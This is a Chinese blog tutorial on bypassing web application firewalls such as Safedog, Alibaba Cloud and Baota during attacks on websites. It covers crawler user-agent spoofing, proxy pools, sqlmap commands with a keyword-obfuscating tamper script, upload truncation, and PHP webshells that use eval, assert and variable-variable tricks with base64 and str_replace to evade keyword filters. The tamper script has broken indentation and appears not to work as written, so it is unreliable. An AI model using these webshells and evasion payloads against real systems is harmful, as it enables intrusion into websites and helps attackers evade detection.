WAF绕过

WAF绕过

1.信息收集之反爬虫延时代理池技术

绕过方法
  • 爬虫绕过

利用 waf设置的白名单,修改 UA 成百度爬虫,因为一般waf 会拦截个人访问,但是很少拦截搜索引擎,可以加入百度爬虫模拟搜索引擎的访问

  • 延时绕过

一般 waf 会限制 IP 访问次数和频率,扫描过快的工具,访问频率过高会被拦截,可以降低访问频率绕过;但是一般不使用这种方法,因为工作效率太低,是没有办法的办法

  • 代理池绕过

因为一般 waf 的设限制是对一个 IP的访问频率,但是如果设置大量 IP每个访问一次就可以绕过

可以设置多个代理 IP 进行访问,这些 IP 放在代理池里进行调用

安全狗 waf

1.当遇到目录扫描工具时,会构造大量数据包让该工具进行误报,分有无开 CC,CC 是检测访问的频率

  • 未开 CC

主要防止工具请求的默认 HEAD数据包攻击

可以通过改变请求头和请求方法GET,POST进行绕过

  • 开CC

设置目录扫描间隔,可以绕过

或者用 Bp 抓取数据包,进行用户模拟,然后修改 UA 模拟百度爬虫操作

阿里云waf

会拦截漏洞扫描工具

只能采用代理池或者延时绕过

宝塔 waf

延时和代理池可以绕过

绕过手法

数据包特征

  • 更改请求方式 GET、POST
  • 模拟请求用户,构造一个拥有相似请求头的数据包
  • 黑白名单机制
  • 修改 UA 模拟浏览器访问

2.漏洞发现触发 WAF点

1.扫描速度(代理池、延迟、白名单)
代理池

Proxy_pool 的搭建和使用

https://github.com/jhao104/proxy_pool

因为 waf会在 ip 访问服务器时有限制,比如多少分钟允许访问一次

可以通过准备一个含有大量代理服务器的代理池,通过不断更换代理服务器访问,进行 waf 绕过

2.工具指纹(特征修改、模拟真实用户)
3.漏洞 Payload(数据变异、数据加密、白名单)

3.漏洞利用

SQL 注入
  • sqlmap 扫描时候可能会遇到 CC 拦截,可以利用白名单,设置 UA 进行爬虫引擎绕过
sqlmap.py "http://xxx.com/?id=1" --user-agent="Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)"
  • 可以利用 sqlmap进行代理池绕过
sqlmap.py "http://xxx.com/?id=1" --proxy="xx.com:1518"

如果有 url 过滤拦截,也可以根据过滤器设置绕过规则,编写脚本通过--tamper带入到 sqlmap 运行

//rdog.py
def tamper(payload,**kwargs):
		retVal = ""
		
		if payload:
				payload = payload.replace("union","%23a%0union")
		    payload = payload.replace("select","%00/*4457select*/")
		    payload = payload.replace("%20","%23a%0a")
		    payload = payload.replace(" ","%%23a%0a")
		return payload    
		    
sqlmap.py "http://xxx.com/?id=1" --proxy="xx.com:1518" --tamper=rdog.py
文件上传

%00截断,或者././././././././././达到文件名上限从而截断

XSS跨站

利用XSStrike绕过,加上–proxy 或者 --timeout,绕过 CC

文件包含

…\ …/ …\

RCE执行

源代码,但是输入的 URL 会被过滤掉关键字

<?php
@eval($_POST['x'])
?>   

绕过传入参数过滤

x=base64_encode(cGhwaW5mbyUyOCUyOSUzQg==)   //cGhwaW5mbyUyOCUyOSUzQg== 是 phpinfo 加密

但是发现 base64_encode 方法也被过滤,可以利用str_replace玩拼字游戏

x=$y=str_replace('x','phxpinxfo()');assert($y);

assert方法也被过滤则可以再拼接

x=$x='asse';$xx='rt';$xxx=$x.$xx;$y=str_replace('x','phxpinxfo()');$xxx($y);

4.权限控制

waf 一般根据所记录的特征去拦截,就比如说如果使用的工具没有记录再库就不会进行拦截。可以尝试多方法多工具绕过

代码绕过 waf
变量覆盖

常见的一句话木马

<?php
@eval($_POST['a'])
?>
  
//?a=phpinfo();

这么写百分百拦截,怎么绕过呢,就是套娃

<?php
$a=$_GET['x'];
$$a=$_GET['y'];

$b($_POST['z']);
?>

//?x=b&y=assert
//  $$a=$b=assert
//assert($_POST['z']);
//z=phpinfo();  
//?x=b&y=assert&z=phpinfo();  

在这个代码里,不存在漏洞函数assert()所以代码不会被过滤,把使用的漏洞函数套写在可变参数中

这里使用 assert 而不是 eval 的原因是 assert可以用参数进行传输

若有关键字被检测到拦截

//?x=b&y=assert&z=phpinfo(); 
//phpinfo 关键字被检测到,可以修改代码利用编码绕过
<?php
$a=$_GET['x'];
$$a=$_GET['y'];

$b(base64_decode($_POST['z']));
?>
  
//然后 phpinfo 进行 base64编码输入
  
加密混淆

采用加密脚本对代码进行加密,使代码不可读,从而绕过 waf

异或生成

在满足一个前置条件后,之后带入的参数才有效

A=isset('id')?base64_decode($_POST['x']):$_POST['x']

冰蝎(双向加密:可以把发送和收取的数据包都进行乱码加密,respone 加密可以扰乱靶机的 log,让对方不能第一时间分析出攻击)

行为绕过

  • 13
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值